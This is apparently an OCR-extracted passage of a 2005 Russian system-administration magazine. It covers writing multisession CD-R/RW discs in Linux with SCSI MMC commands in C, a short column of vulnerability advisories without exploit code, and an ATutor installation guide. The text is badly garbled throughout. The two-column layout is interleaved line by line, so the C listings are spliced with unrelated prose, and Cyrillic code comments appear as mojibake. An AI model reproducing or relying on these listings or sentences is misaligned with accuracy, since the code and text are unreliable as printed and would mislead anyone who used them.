шивается: зачем защищать посетителя на моем собствен- ся в UNIX и имеющих достаточные права для установки мо-
ном сайте, на котором никаких вирусов нет? И правда не- дулей Apache. (Возможно, в будущем большинство хостинг-
зачем, если сайт столь незатейлив, что на нем нет ни рек- компаний станут инсталлировать mog_gzip изначально: тог-
ламы, ни ссылок на внешние ресурсы. Если же есть – кто да эта возможность станет доступна «чайникам».)
поручится, что посетители, уйдя по ссылке на чужой сайт Что касается антивирусной защиты WebWarper, то ана-
или, скажем, увидев рекламу с баннерной сети, не подце- логичная фильтрация может поддерживаться коммерчес-
пят какой-нибудь троян или вирус? А как вы думаете, кого кими брандмауэрами, установленными между вашим сер-
они в этом обвинят? Очень вероятно, что вас – особенно вером и внешним миром. Также существуют веб-сервисы,
если заражение произошло через рекламу или вскоре пос- специализирующиеся на анонимайзинге: например, http://
ле ухода с вашей страницы. anonymouse.ws.

№1, январь 2005 77


hardware

ЗАПИСЬ ДИСКОВ CD-R/RW В LINUX


ЧАСТЬ 3
ВЛАДИМИР МЕШКОВ
В третьей части статьи рассматривается порядок использо-
вания мультимедийных команд стандарта SCSI (SCSI Multi-
Media Commands) для записи многосессионных CD-R/RW
дисков в режиме TAO (Track-at-Once).
Работоспособность всех примеров программ была про-
верена для ОС Linux, ядро 2.4.28. В ядре включены режим
SCSI-эмуляции для ATAPI-устройств (SCSI host adapter
emulation for IDE ATAPI devices) и поддержка SCSI Generic
драйвера. Использовались следующие модели приводов
для чтения и записи CD-R/RW и DVD-R/RW дисков:
! TEAC CD-W524E 1.0E
! MITSUMI CR-48XATE Ðèñóíîê 2. Ôîðìàò áëîêà äàííûõ î áóôåðå óñòðîéñòâà, BLOCK = 0
! _NEC CD-RW NR-9400A R800 Здесь Length of the Buffer – размер буфера в байтах,
! ASUS DRW-1604P 1.09 Available Length of Buffer – размер неиспользуемой (доступ-
ной) области буфера в байтах.
Работа над ошибками Модифицируем листинг из второй части – при записи
Прежде чем приступить к рассмотрению основного мате- информации будем контролировать размер доступной об-
риала, устраним ошибки, допущенные во второй части ста- ласти внутреннего буфера устройства при помощи функ-
тьи [5]. Проблема заключается в следующем – при попытке ции read_buff_cap():
записи информации с использованием привода ASUS про-
грамма аварийно завершает выполнение со следующим со- __u32 read_buff_cap()
{
общением: __u8 read_buff_cap_cmd[10];
__u8 data_buff[12];
lba - 320 __u32 buff_alen = 0;
Sense data: 0x70 0x00 0x02 0x00 0x00 0x00 0x00 0x0e 0x00 0x00
0x00 0x00 0x04 0x08 0x00 0x00 0x00 0x00 0x00 0x00 memset(read_buff_cap_cmd, 0, 10);
0x00 0x00 read_buff_cap_cmd[0] = 0x5C;
Driver status=0x28 read_buff_cap_cmd[8] = 0x0C;
Cannot write image.iso
send_cmd(read_buff_cap_cmd, 10, SG_DXFER_FROM_DEV, ↵
Здесь Sense Key = 0x02, ASC = 0x04, ASCQ = 0x08, что data_buff,0x0C, 20);
означает LOGICAL UNIT NOT READY, LONG WRITE IN
memcpy((void *)&buff_alen, data_buff + 8, 4);
PROGRESS (устройство не готово к работе, выполняется buff_alen = __swab32(buff_alen);
операция длинной записи). Остановка выполнения програм-
printf("\tAvailable length - %u\n", buff_alen);
мы всегда происходит на секторе номер 320. Аналогичным return buff_alen;
образом ведут себя приводы MITSUMI и _NEC. С приводом }
TEAC подобной проблемы не возникало. В чем причина этой
ошибки? Дело в том, что каждый привод имеет внутренний Контроль за размером доступной области буфера бу-
буфер для данных, и при записи информация сначала по- дет выполняться в функции write_iso, в цикле записи ин-
падает в этот буфер, а затем из него переносится на диск. формации (полный листинг этой функции находится в [5]):
Буфер имеет ограниченную ёмкость, определить которую
можно при помощи команды READ BUFFER CAPACITY. Фор- int write_iso(__u8 *file_name)
{
мат этой команды приведён на рис.1. ....
while(read(in_f, write_buff, CD_FRAMESIZE) > 0) {

read_buff_cap();
printf("lba - %6d", lba1);
lba = __swab32(lba1);
memcpy((write_cmd + 2), (void *)&lba, 4);
lba1 += 1;
send_cmd(write_cmd, 10, SG_DXFER_TO_DEV, ↵
write_buff, CD_FRAMESIZE, 20);
}
Ðèñóíîê 1. Ôîðìàò êîìàíäû READ BUFFER CAPACITY return 0;
}
Если поле BLOCK установлено в 0, устройство вернёт
блок данных следующего формата (рис.2): Результат работы программы (привод ASUS):

78
hardware
Available length - 1267712 int send_cmd(__u8 *cmd, __u8 cmdlen, int direction, ↵
lba - 0 Available length - 1175552 __u8 *data, __u32 datalen, unsigned int timeout)
lba - 1 Available length - 1173504 {
sg_io_hdr_t io_hdr;
lba - 2 Available length - 1171456
__u8 sense_buffer[32];
........
lba - 317 Available length - 526336 #define SK sense_buffer[2]
lba - 318 Available length - 524288 #define ASC sense_buffer[12]
lba - 319 Available length - 0 #define ASCQ sense_buffer[13]
lba - 320
Sense data: 0x70 0x00 0x02 0x00 0x00 0x00 0x00 0x0e 0x00 0x00 memset(&io_hdr, 0, sizeof(sg_io_hdr_t));
0x00 0x00 0x04 0x08 0x00 0x00 0x00 0x00 0x00 0x00
0x00 0x00 io_hdr.interface_id = 'S';
Driver status=0x28 io_hdr.cmd_len = cmdlen;
Cannot write image.iso io_hdr.mx_sb_len = sizeof(sense_buffer);
io_hdr.dxfer_direction = direction;
Как только доступная область буфера становится рав- io_hdr.dxfer_len = datalen; // ðàçìåð äàííûõ
io_hdr.dxferp = data; // óêàçàòåëü íà áëîê äàííûõ
ной нулю, устройство на попытку передачи ему информа- io_hdr.cmdp = cmd;
ции отвечает LOGICAL UNIT NOT READY, LONG WRITE IN io_hdr.sbp = sense_buffer;
io_hdr.timeout = timeout * 1000;
PROGRESS. Один из вариантов решения данной пробле-
мы – подождать, пока буфер устройства освободится, а if(ioctl(sg_fd, SG_IO, &io_hdr) < 0) {
perror("SG_IO ioctl");
затем продолжить запись, например: return -1;
}
while(read_buff_cap() == 0) continue; if((io_hdr.info & SG_INFO_OK_MASK) != SG_INFO_OK) {
if(io_hdr.sb_len_wr > 0) {
Такой вариант устраивает ASUS, но MITSUMI и _NEC /* Åñëè SK/ASC/ASCQ == 02/04/08 (Not Ready. Long Write
так просто не сдаются и, попав в цикл, не хотят его поки- * in Progress), òî íåîáõîäèìî ïîâòîðèòü êîìàíäó WRITE_10
*/
дать. Спецификация SFF8090i [1] при возникновении тако- if((SK == NOT_READY) && (ASC == 0x04) && ↵
го рода ошибки требует повторить команду записи (см. (ASCQ == 0x08)) return 1;
syslog(LOG_INFO,"Command: 0x%02X", io_hdr.cmdp[0]);
п.14.48 WRITE(10) command): syslog(LOG_INFO,"Sense data (SK/ASC/ASCQ): ↵
0x%02X/0x%02X/0x%02X",SK,ASC,ASCQ);
While writing is occurring, if WRITE (10) command or WRITE (12) }
command cannot be terminated immediately due to insufficient buffer
if(io_hdr.masked_status)
capacity, the logical unit may terminate the WRITE command with
syslog(LOG_INFO, "SCSI status = 0x%x\n", ↵
CHECK CONDITION status, 2/04/08 LOGICAL UNIT NOT READY, io_hdr.status);
LONG WRITE IN PROGRESS and the host shall issue the same WRITE if(io_hdr.host_status)
command again. After logical unit becomes ready due to sufficient buffer syslog(LOG_INFO, "Host status = 0x%x\n", ↵
capacity for the WRITE command, the WRITE command shall be io_hdr.host_status);
performed normally. if(io_hdr.driver_status)
syslog(LOG_INFO, "Driver status = 0x%x\n", ↵
Именно таким образом поступает dvdrecord. Запустив io_hdr.driver_status);
его с ключом -v, мы увидим следующую картину: return -1;
}
return 0;
Executing 'write_g1' command on Bus 0 Target 1, }
Lun 0 timeout 200s
CDB: 2A 00 00 00 3A 01 00 00 1F 00 Текст функции write_iso() целиком приводить не будем,
рассмотрим только ключевой фрагмент – посылку устрой-
dvdrecord: Input/Output error, write_g1: scsi sendcmd: no error
CDB: 2A 00 00 00 3A 01 00 00 1F 00
ству командного пакета:

Status: 0x2 (CHECK CONDITION) while(1) {


Sense buffer: 70 00 02 00 00 00 00 0E 00 00 00 00 ret = send_cmd(write_cmd, 10, SG_DXFER_TO_DEV, ↵
04 08 00 00 write_buff, BUFF_SIZE, 20);
Sense Key: 0x2 Not Ready, Segment 0 if(ret == 1) continue; // LONG WRITE IN PROGRESS
Sense Code: 0x04 Qual 0x08 (logical unit not ready, if(ret == 0) break;
Long write in progress) Fru 0x0 if(ret < 0) return -1; // îøèáêà çàïèñè!
}
Sense flags: BLK 0 (not valid)
cmd finished after 0x000 s timeout 200s

Executing 'write_g1' command on Bus 0 Target 1, Команда WRITE_10 будет посылаться устройству до тех
Lun 0 timeout 200s пор, пока не будет успешно выполнена или не произойдет
CDB: 2A 00 00 00 3A 01 00 00 1F 00
ошибка, отличная от SK/ASC/ASCQ = 02/04/08 «NOT READY.
cmd finished after 0x000 s timeout 200s
LONG WRITE IN PROGRESS».
CDB – это Command Descriptor Block (дескриптор коман- Исходный текст утилиты, выполняющей запись данных
дного блока), 2A – код команды WRITE_10. Зафиксировав на CD-R/RW диск находится по адресу http://bob.netport.com.
ошибку LONG WRITE IN PROGRESS, программа dvdrecord ua/iso2сd.tar.gz. На этом закончим изучение односессион-
в соответствии с требованием спецификации повторно по- ных CD-дисков и рассмотрим, что нужно сделать для того,
сылает устройству команду записи. чтобы создать многосессионный диск.
Исходя из вышеизложенного, внесём исправления в
текст программы для записи ISO-образа на CD-R/RW диск. Запись многосессионного диска
Изменениям подвергнутся функция посылки пакетной ко- Для создания многосессионного диска необходимо присво-
манды устройству send_cmd() и функция записи write_iso: ить полю Multi-session страницы параметров режима записи

№1, январь 2005 79


hardware
значение 11b (см. [1, 2]). В этом случае при формировании /* ×èñëî çàïèñåé TOC */
Lead-In-области указатель B0 таблицы содержания диска toc_entries = (toc_data_len - 2)/11;
(Table of Contents, TOC) будет содержать координаты начала /* ×èñëî ñåññèé */
следующей области программ (формат TOC и пример чтения last = data_buff[3];
printf("×èñëî ñåññèé íà äèñêå - %d\n", last);
были рассмотрены в [3]). Формирование образа, который бу-
дет записан первым, ничем не отличается от формирования t = (toc_t *)malloc(toc_data_len);
memset((void *)t, 0, toc_data_len);
образа для односессионного диска. Каждый новый записы- memcpy((void *)t, data_buff + 4, toc_data_len);
ваемый образ должен содержать ссылку на предыдущий, что- free(data_buff);
бы драйвер файловой системы мог собрать содержимое всех
сессий в единое целое. Для этого при формировании ISO- printf("Entry\tSession\tPoint\tMin\tSec\tFrame\ ↵
tPMin\tPsec\tPFrame\tLBA\n");
образа (кроме первого) в опциях утилиты mkisofs необходи- for(i = 0; i < toc_entries; i++) {
мо указать стартовые координаты первого трека последней printf("%d\t", i);
printf("%d\t", (t + i)->snum);
сессии и координаты следующей возможной области про- printf("%X\t", (t + i)->point);
грамм. Назовем эти координаты A и B. При помощи cdrecord printf("%d\t", (t + i)->min);
printf("%d\t", (t + i)->sec);
значения A и B определяются следующим образом: printf("%d\t", (t + i)->frame);
printf("%d\t", (t + i)->pmin);
printf("%d\t", (t + i)->psec);
cdrecord -dev=X,Y,Z -msinfo printf("%d\t", (t + i)->pframe);
#define PMIN(i) (t + i)->pmin
где X, Y и Z – это координаты устройства (msinfo – это со- #define PSEC(i) (t + i)->psec
кращение от multi-session information). После выполнения #define PFRAME(i) (t + i)->pframe
#define MIN(i) (t + i)->min
команды мы получим два числа – искомые стартовые ко- #define SEC(i) (t + i)->sec
ординаты. Эти числа необходимо указать в соответствую- #define FRAME(i) (t + i)->frame
#define POINT(i) (t + i)->point
щих опциях mkisofs (опция -C, см. man mkisofs) при подго-
товке образа для записи. if((POINT(i) == 0xC0) || (POINT(i) == 0xC1)) {
printf("\n");
Рассмотрим два способа определения значений A и B. continue;
Оба способа подразумевают чтение таблицы содержания }
диска (TOC), только в первом случае мы читаем «сырую» /* Êîîðäèíàòû íà÷àëà ñëåäóþùåé âîçìîæíîé îáëàñòè ïðîãðàìì
таблицу (RAW TOC), в во втором – информацию о сессиях. * ñîäåðæèò óêàçàòåëü B0 â ïîëÿõ Min/Sec/Frame. Ïåðåâîäèì
* ýòè êîîðäèíàòû â LBA-ôîðìàò, ñ ó÷åòîì òîãî, ÷òî ïåðåä
При помощи функции read_raw_toc() прочитаем RAW TOC: * òðåêîì íàõîäèòñÿ Pre-gap îáëàñòü ðàçìåðîì 150 ñåêòîðîâ
*/
if(POINT(i) == 0xB0) lba = MSF2LBA(MIN(i), SEC(i), ↵
/* Ôîðìàò çàïèñè TOC (ñì. [1, 2]) */ FRAME(i)) + 150;
typedef struct { else lba = MSF2LBA(PMIN(i), PSEC(i), PFRAME(i));
__u8 snum; // Session Number printf("%u\n", lba);
__u8 ctrl :4; // Control }
__u8 adr :4; // ADR
__u8 tno; // TNO (always 0) free(t);
__u8 point; // POINT return 0;
__u8 min; // AMIN }
__u8 sec; // ASEC
__u8 frame; // AFRAME Пересчёт координат из MSF-формата в LBA выполняет
__u8 zero; // 0
__u8 pmin; // PMIN макрос MSF2LBA следующего вида:
__u8 psec; // PSEC
__u8 pframe; // PFRAME #define MSF2LBA(Min, Sec, Frame) (((Min * 60 + Sec) * 75 + ↵
} toc_t; Frame) - 150)
int read_raw_toc()
{ Теперь возьмём диск, на котором записано три сессии,
int i; и посмотрим на результат работы функции read_raw_toc():
__u8 read_toc_cmd[10];
__u8 *data_buff; // ðåçóëüòàòû ÷òåíèÿ TOC
__u16 toc_data_len = 0; // äëèíà çàïèñåé TOC
__u32 lba;
int toc_entries = 0; // ÷èñëî çàïèñåé TOC
int last = 0; // íîìåð ïîñëåäíåé ñåññèè
toc_t *t;
data_buff = (__u8 *)malloc(0xFFFF);

memset(data_buff, 0, 0xFFFF);
memset(read_toc_cmd, 0, 10);

read_toc_cmd[0] = READ_TOC;
read_toc_cmd[2] = 2; // Format Field = 10b - RAW TOC
read_toc_cmd[7] = 0xFF;
read_toc_cmd[8] = 0xFF;
send_cmd(read_toc_cmd, 10, SG_DXFER_FROM_DEV, ↵
data_buff, 0xFFFF, 20);
Указатель A0 третьей сессии (запись 12) содержит в поле
/* Ðàçìåð TOC */
*((__u8 *)&toc_data_len) = data_buff[1]; PMin номер первого трека последней сессии. Это значение
*((__u8 *)&toc_data_len + 1) = data_buff[0]; равно 3. Запись 15 в полях PMin/PSec/PFrame содержит

80
hardware
стартовые координаты этого трека – 5/15/35, или 23510 в Осталось узнать значение числа B – стартового адреса
LBA-формате. Координаты начала следующей возможной следующей возможной области программ. Этот адрес явля-
области программ содержит указатель B0 в полях Min/Sec/ ется адресом невидимого трека (invisible track), и определить
Frame (запись 16) – 7/13/59 (32534 в LBA-формате). его можно при помощи команды READ TRACK INFORMATION.
Второй способ определения значения числа A – чтение Формат этой команды и пример использования был рассмот-
информации о сессиях. Для этого в поле Format командно- рен в [5]. Следующая функция выполняет чтение искомого
го блока READ TOC/PMA/ATIP (см. спецификацию [2], табл. адреса:
441) должно принять значение 1. Блок информации о сес-
сиях имеет вид, представленный на рис. 3. __u32 read_track_info(int trk_num)
{
__u8 read_track_info_cmd[10];
__u8 data_buff[40];
__u32 lba = 0;
memset(data_buff, 0, 40);
memset(read_track_info_cmd, 0, 10);
read_track_info_cmd[0] = 0x52;
read_track_info_cmd[1] = 1;
read_track_info_cmd[5] = trk_num; // 0xFF - ↵
invisible track
read_track_info_cmd[8] = 40;

send_cmd(read_track_info_cmd, 10, ↵
SG_DXFER_FROM_DEV, data_buff, 40, 20);

memcpy((void *)&lba, (void *)(data_buff + 8), 4);


return __swab32(lba);
}
Ðèñóíîê 3. Áëîê èíôîðìàöèè î ñåññèÿõ В результате работы двух рассмотренных функций –
Здесь First и Last Complete Session Number – номера read_ms_info() и read_track_info() – мы получим для имеюще-
первой и последней завершенной сессии, First Track Number гося в нашем распоряжении трехсессионного диска значе-
In Last Complete Session – номер первого трека в после- ния чисел А и В: A = 23510 и B = 32534. Теперь можно сфор-
дней завершенной сессии, Start Address of First Track in Last мировать ISO-образ для записи на диск четвертой сессии:
Session – стартовый адрес этого трека. Формат блока ин-
формации о сессиях описывает следующая структура: mkisofs -R -J -C 23510,32534 -M [èìÿ ôàéëà óñòðîéñòâà] ↵
-o track-04.iso [âõîäíîé ôàéë]
typedef struct { Перед тем как приступить к записи информации, целе-
__u8 res1;
__u8 ctrl :4; сообразно выяснить, в каком состоянии находится диск, т.е.
__u8 adr :4; можно ли дописать на него новую сессию. Эту информа-
__u8 first_trk; // íîìåð ïåðâîãî òðåêà ïîñëåäíåé ñåññèè
__u8 res2; цию можно получить при помощи команды READ DISK
__u32 start_addr; // ñòàðòîâûé àäðåñ òðåêà INFORMATION. Формат этой команды представлен на рис. 4.
} ms_info_t;

Чтение блока информации о сессиях выполняет функ-


ция read_ms_info():

void read_ms_info()
{
// íîìåð ïåðâîãî òðåêà ïîñëåäíåé ñåññèè
int first_trk = 0;
__u8 read_toc_cmd[10]; // CDB - Command Descriptor Block
__u8 data_buff[12];
__u32 start_addr = 0; // ñòàðòîâûé àäðåñ òðåêà
ms_info_t *ms_info;
memset(data_buff, 0, 12); Ðèñóíîê 4. Ôîðìàò êîìàíäû READ DISK INFORMATION
ms_info = (void *)(data_buff + 4);
Формат данных, возвращаемых устройством по этой
/* Ôîðìèðóåì CDB */ команде, представлен на рис. 5.
memset(read_toc_cmd, 0, 10);
read_toc_cmd[0] = READ_TOC; Необходимую нам информацию содержит поле Disk
read_toc_cmd[2] = 1; // Format = 1, ↵ Status. Поле может принимать следующие значения:
Multi-session Information
read_toc_cmd[8] = 12; // ðàçìåð áëîêà äàííûõ ! 00b – Empty Disk, диск пустой, не содержит информации;
send_cmd(read_toc_cmd, 10, SG_DXFER_FROM_DEV, ↵
! 01b – Incomplete Disk, незавершенный диск, на который
data_buff, 12, 20); можно дописывать информацию;
first_trk = ms_info->first_trk;
! 10b – Finalized Disk, диск завершен, информацию допи-
start_addr = __swab32(ms_info->start_addr); сывать нельзя.
printf("Ïåðâûé òðåê ïîñëåäíåé ñåññèè - %d\n", ↵
first_trk); Поле State of last Session описывает состояние после-
printf("Ñòàðòîâûé àäðåñ òðåêà - %u\n", start_addr); дней сессии на диске. Поле может принимать следующие
return;
} значения:

№1, январь 2005 81


hardware
! 00b – пустая сессия (Empty Session); return 0;
! 01b – незавершенная сессия (Incomplete Session); }
! 11b – сессия завершена (Complete Session). Если диск позволяет выполнить запись новой сессии
(disk_status == 1), то алгоритм работы программы следую-
Установленный в «1» бит Erasable свидетельствует о щий:
том, что в приводе находится диск CD-RW, DVD-RAM, DVD- ! при помощи системного вызова stat определяется раз-
RW или DVD+RW. мер записываемого образа в блоках по 2048 байт (ре-
Назначение остальных полей приведено в специфика- жим Data Mode 1):
ции [2], п. 6.27 «READ DISK INFORMATION Command».
#include <sys/stat.h>

struct stat s;
memset((void *)&s, 0, sizeof(struct stat));

/* argv[1] - èìÿ ôàéëà-îáðàçà, ïåðåäàåòñÿ


* â êîìàíäíîé ñòðîêå ïðîãðàììû
*/
if(stat(argv[1], &s)) {
perror("stat");
exit(errno);
}
/* Ðàçìåð ôàéëà-îáðàçà â áëîêàõ */
track_size = s.st_size/CD_FRAMESIZE;

! резервируется место для нового трека (команда


RESERVE TRACK), при этом размер трека равен разме-
ру файла-образа в блоках. Формат команды RESERVE
TRACK был рассмотрен в [5]:

void reserv_track(__u32 track_size)


{
__u8 reserv_track_cmd[10];
__u32 size = 0;

memset(reserv_track_cmd, 0, 10);
reserv_track_cmd[0] = 0x53;

size = __swab32(track_size);
memcpy((void *)(reserv_track_cmd + 5), ↵
(void *)&size, 4);
send_cmd(reserv_track_cmd, 10, SG_DXFER_NONE, ↵
NULL, 0, 20);
Ðèóíîê 5. Áëîê èíôîðìàöèè î äèñêå, âîçâðàùàåìûé ïî êîìàíäå return;
READ DISK INFORMATION }
Чтение информации о диске выполняет функция read_
disk_info(): ! при помощи команды READ TRACK INFORMATION оп-
ределяется стартовый адрес зарезервированного тре-
int read_disk_info() ка, и начиная с этого адреса на диск выполняется за-
{
__u8 read_disk_info_cmd[10]; пись данных.
__u8 data_buff[34];

memset(data_buff, 0, 34); Полный текст программы для записи многосессионных


memset(read_disk_info_cmd, 0, 10); дисков находится по адресу: http://bob.netport.com.ua/iso2cd_
read_disk_info_cmd[0] = 0x51;
read_disk_info_cmd[8] = 34; multi.tar.gz.
send_cmd(read_disk_info_cmd, 10, SG_DXFER_FROM_DEV, ↵
data_buff, sizeof(data_buff), 20); Литература:
1. ATAPI DVD Devices, ftp://ftp.seagate.com/sff/INF-8090.PDF
switch(data_buff[2] & 3) {
2. SCSI MultiMedia Command Set, http://www.t10.org/ftp/t10/
case(0): drafts/mmc5/mmc5r01.pdf.
printf("Äèñê ïóñòîé\n");
break; 3. Мешков В. Пакетные команды интерфейса ATAPI. – Жур-
нал «Системный администратор», № 9(22), сентябрь
case(1):
printf("Ìîæíî äîïèñûâàòü èíôîðìàöèþ\n"); 2004 г. – 70-84 с.
break; 4. Мешков В. Запись дисков CD-R/RW в Linux. Часть 1. –
case(2): Журнал «Системный администратор», № 11(24), ноябрь
printf("Çàïèñü íåâîçìîæíà\n"); 2004 г. – 56-62 с.
break;
5. Мешков В. Запись дисков CD-R/RW в Linux. Часть 2. –
default: Журнал «Системный администратор», № 12(25), де-
break;
} кабрь 2004 г. – 68-75 с.

82
bugtraq

Обход ограничений во многих Удаленное выполнение


персональных межсетевых экранах произвольного кода в Indexing Service
Программа: ZoneAlarm/ZoneAlarm Pro версии до 5 ветки, в различных версиях Microsoft Windows
Kerio все версии, Agnitium Outpost Firewall все версии, Программа: Microsoft Windows XP Service Pack 1, Microsoft
Kaspersky Anti-Hacker все версии, Look ’n’ Stop все версии, Windows Server 2003.
Symantec’s Norton Personal Firewall все версии, Panda Platinum Опасность: Критическая.
Internet Security все версии, Omniquad Personal Firewall все Описание: Уязвимость в Indexing Service позволяет удален-
версии. ному пользователю выполнить произвольный код на уяз-
Опасность: Высокая. вимой системе.
Описание: Обнаружена уязвимость во многих персональ- Удаленный атакующий может сконструировать специаль-
ных межсетевых экранах. Злоумышленник может обойти но обработанный запрос к службе индексирования (Indexing
ограничения безопасности и выполнить произвольные дей- Service), чтобы выполнить произвольный код на уязвимой
ствия на уязвимой системе. системе с привилегиями системы или вызвать отказ в об-
Уязвимость обнаружена в приложениях, которые исполь- служивании.
зуют ярлыки или предоставляют графический интерфейс Уязвимость может эксплуатироваться удаленно, так как
для изменения текущих настроек межсетевого экрана и не Служба индексирования может быть сконфигурирована
запрашивают ввод пароля. Злоумышленник может с помо- через Internet Information Service. Патч также выпущен для
щью троянской программы или другого приложения, спо- Windows 2000 Server, однако эта система неуязвима. Под-
собного использовать «Sending Key Method» и «Mouse робнее смотрите соответствующее уведомление.
Control Method», обойти ограничения безопасности. URL производителя: http://www.microsoft.com.
Большинство брандмауэров используют опцию запоми-
нания настроек и автоматически генерируют соответству-
ющие правила, что позволяет злоумышленнику лишь од- Переполнение буфера в службе LDAP
нократно использовать эту уязвимость. на Hitachi Directory Server
Решение: Исправление существует лишь для ZoneAlarm (5 Программа: Hitachi Directory Server 2
версия не уязвима). Опасность: Средняя.
Описание: Уязвимость в службе LDAP на Hitachi Directory
Удаленное выполнение произвольного Server позволяет злоумышленнику выполнить произволь-
кода в HTML Help ActiveX control ный код на целевой системе.
Программа: Microsoft Windows 2000 Service Pack 3, Microsoft Удаленный пользователь может отослать специально
Windows 2000 Service Pack 4, Microsoft Windows XP Service сформированный LDAP-пакет целевой службе, вызвать пе-
Pack 1, Microsoft Windows XP Service Pack 2, Microsoft реполнение буфера и аварийно завершить работу LDAP-
Windows Server 2003. службы или выполнить произвольный код.
Опасность: Критическая. URL производителя: http://www.hitachi-support.com.
Описание: Уязвимость в HTML Help ActiveX control позво- Решение: Исправление описано по адресу: http://www.hitachi-
ляет удаленному пользователю раскрыть чувствительную support.com/security_e/vuls_e/HS05-001_e/01-e.html.
информацию или выполнить произвольный код на уязви-
мой системе.
Удаленный атакующий может сконструировать специ- Отказ в обслуживании при обработке
ально обработанную веб-страницу, которая может исполь- WCCP-сообщений в Squid
зоваться для выполнения произвольного кода на системе Программа: Squid 2.5.
пользователя, просматривающего эту страницу. Опасность: Средняя.
URL производителя: http://www.microsoft.com. Описание: Уязвимость обнаружена в Squid при обработке
Решение: Установите соответствующее обновление. WCCP-сообщений. Удаленный пользователь может вызвать
отказ в обслуживании.
Получение административных привилегий Удаленный пользователь может послать специально
в Oracle Database Server сформированный WCCP_I_SEE_YOU-пакет с значением
Программа: Oracle Database Server 9i, 10g. поля number of caches, не равным промежутку 1-32 и под-
Опасность: Средняя. менным адресом. Если WCCP разрешен на системе (WCCP
Описание: Уязвимость позволяет удаленному авторизован- не является настройкой по умолчанию), то Squid аварийно
ному пользователю получить административные привиле- завершит свою работу.
гии на сервере баз данных. URL производителя: http://www.squid-cache.org
Удаленный авторизованный пользователь может вне- Решение: Установите патч от производителя: http://
дрить PL/SQL-команды и получить административный дос- w w w . s q u i d - c a c h e . o r g / Ve r s i o n s / v 2 / 2 . 5 / b u g s / s q u i d -
туп к базам данных. 2.5.STABLE7-wccp_denial_of_service.patch.
URL производителя: http://www.oracle.com.
Решение: Установите обновление с сайта производителя. Составил Александр Антипов

№1, январь 2005 83


образование

ОБУЧЕНИЕ ПРИ ПОМОЩИ ATutor


СЕРГЕЙ ЯРЕМЧУК
C развитием средств коммуникации наметился повышенный Установка сервера курсов
интерес к различным методам дистанционного обучения. Установка, как и процесс обновления системы, не являет-
Удобства налицо, обучаемому нет необходимости тратить ся сложной. Для возможности дальнейшей работы необхо-
время на перемещение к месту занятий, а сам урок можно димо будет пройти шесть шагов, каждый из которых дол-
почитать в любое удобное для себя время, изучив материал жен закончиться успешно. Первоначально необходимо
полностью или отложив прочтение части на потом. Сейчас иметь компьютер с:
можно встретить большое количество разнообразных про- ! Веб-сервером Apache 1.3.x (Apache 2.x разработчика-
дуктов, предназначенных для организации такого сервиса. ми не рекомендуется).
В статье пойдет речь об одном из них – свободном Open ! PHP версии > 4.2.0 (лучше > 4.3.0) с включенной под-
Source-решении, позволяющим с минимальными финансо- держкой zlib и MySQL.
выми затратами собрать подобную систему. ! MySQL версий > 3.23.x и > 4.0.12 (версии 4.1.x и 5.x офи-
ATutor является системой управления обучения – Web- циально не поддерживаются).
based Learning Content Management System (LCMS). Исполь-
зование которой позволяет преподавателям легко органи- Как видите, об операционной системе в требованиях не
зовывать различные курсы обучения. Студенты же получа- сказано ни слова. И это правильно, т.к. все вышеперечис-
ют адаптивную и простую среду обучения. Администрато- ленные компоненты могут работать как на различных ва-
ру новая система особых хлопот не доставит. Внешний вид риантах UNIX-систем, так и под управлением MS Windows.
можно сменить буквально за пару щелчков мышки, доступ- Я тестировал работу сервера ATutor на компьютере с уста-
ность исходного кода и открытые инструменты, применяе- новленной Windows XP Professional, и в нескольких дистри-
мые для построения сервера курсов, позволяют в случае бутивах GNU/Linux, включая и такой экзотический в наших
крайней необходимости внести и более серьезные измене- краях, как Fermi Linux. Но в качестве рабочей платформы
ния. Кроме того, с самого начала разработчиками был взят был выбран проверенный временем Slackware 9.1 с неко-
курс на поддержку продуктом всевозможных стандартов, торыми обновлениями.
что позволило бы в будущем легко интегрировать и сто- На момент написания статьи была актуальна ATutor-
ронние разработки. 1.4.2. Размер системы составлял чуть более 1 Мб. Для ус-
Так, ATutor – первая LCMS, полностью подчиняющаяся тановки требуется распаковать архив в корневой каталог
спецификации доступности W3C WCAG (Web Content документов веб-сервера. Например, для Slackware.
Accessibility Guidelines, http://www.w3.org/WAI/WCAG1AA-
Conformance) 1.0 уровня AA+. Соответствие этим рекомен- # cd /var/www/htdocs
# tar xzvf /home/source/ATutor-1.4.2.tar.gz
дациям позволяет сделать ресурс доступным, в том числе
и для пользователей с различными нарушениями здоровья. После чего в текущем каталоге образуется подкаталог
Хотя стоит отметить, что с 19 ноября 2004 года доступна ATutor. Теперь запускаем веб- и MySQL-серверы и набира-
следующая версия спецификации W3C WCAG 2.0 (http:// ем в строке браузера http://IP_your_server/[path_to_atutor]/
www.w3.org/TR/2004/WD-WCAG20-20041119), поэтому в пос- ATutor/. В качестве клиентского браузера хорошо подходят
леднее время ведется работа для достижения полного со- большинство из базирующихся на коде Mozilla (Netscape
ответствия стандарту. 7+, Firefox, Galeon) и Microsoft Internet Explorer 4+, а вот как
Также соответствие спецификациям W3C XHTML 1.0 га- будет выглядеть страница в Opera и Konqueror, уже зави-
рантирует, что ATutor при необходимости обеспечит рабо- сит от версии. Если Apache настроен правильно, то вы уви-
ту или интеграцию с любыми другими приложениями, под- дите картинку (рис. 1) и для продолжения установки доста-
держивающими стандарты. Некоторые такие приложения точно нажать на ссылку.
доступны на сайте проекта, разговор о них пойдет далее.
Чтобы иметь возможность использовать курсы, написан-
ные для других e-learning обучающих систем, система под-
держивает спецификации IMS (Instructional Management
Standards, http://www.imsproject.org) и SCORM (Sharable
Content Object Reference Model, http://www.adlnet.org). В на-
стоящий момент основным источником сторонних курсов Ðèñóíîê 1
для пользователей ATutor является TILE learning objects Если вместо данной страницы будет выведен исходный
respository (http://barrierfree.ca/tile). Хотя инструменты для ра- текст документа или показано содержимое каталога, то
боты с ним еще несовершенны, пока реализован поиск и измените настройки в файле httpd.conf. В первом случае в
импорт, без проверки целостности. Продукт распространя- файле должны быть раскомментированы следующие стро-
ется по лицензии GPL, домашняя страница проекта http:// ки (возможно, они будут находиться во внешнем файле,
www.atutor.ca/atutor. подключаемом инструкцией Include).

84
образование
LoadModule php4_module libexec/libphp4.so ратор, инструктор и ученик. В зависимости от того, в какой
AddModule mod_php4.c роли прописан зарегистрировавшийся, система сама вы-
AddType application/x-httpd-php .php
берет интерфейс.
Во втором случае в директиве DirectoryIndex должен Администратор обладает самыми большими правами,
быть обязательно указан параметр index.php. но интерфейсом обделен. После настройки сервера кур-
сов его основная задача состоит в обновлении, локализа-
DirectoryIndex index.html index.php ции, коррекции персональных учетных записей, изменений
